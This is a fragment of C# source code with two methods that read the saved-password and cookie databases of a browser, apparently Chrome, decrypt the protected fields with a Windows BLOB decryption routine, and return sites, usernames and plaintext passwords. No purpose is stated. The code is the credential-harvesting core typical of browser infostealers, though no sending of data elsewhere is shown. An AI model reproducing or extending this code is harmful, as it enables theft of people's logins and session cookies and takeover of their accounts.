//public List<string> getPasswords() { public List <PasswordDTO> getPasswords() { if (result == null) { List <PasswordDTO> res = new List <PasswordDTO>(); try { if (queryResult == null) { queryResult = client.select(QUERY); WindowsBLOBDecipher.decipherQueryResultField("pass", queryResult); } //List<string> res = new List<string>(); foreach (DataRow r in queryResult.Rows) { string pass = System.Text.Encoding.Default.GetString((byte[])r["pass"]); //TODO missing time res.Add(new PasswordDTO("", "Chrome", "" + r["url"], "" + r["username"], pass)); } } catch (System.Data.SQLite.SQLiteException e) { Console.WriteLine(location + " not Found"); client.dbConnection.Close(); } result = res; } return(result); }
//public List<string> getCookies() { public List <CookiesDTO> getCookies() { if (result == null) { List <CookiesDTO> res = new List <CookiesDTO>(); try { queryResult = client.select(QUERY); WindowsBLOBDecipher.decipherQueryResultField("value", queryResult); res = convertToList(); } catch (System.Data.SQLite.SQLiteException e) { Console.WriteLine(location + " not Found"); client.dbConnection.Close(); } result = res; } return(result); }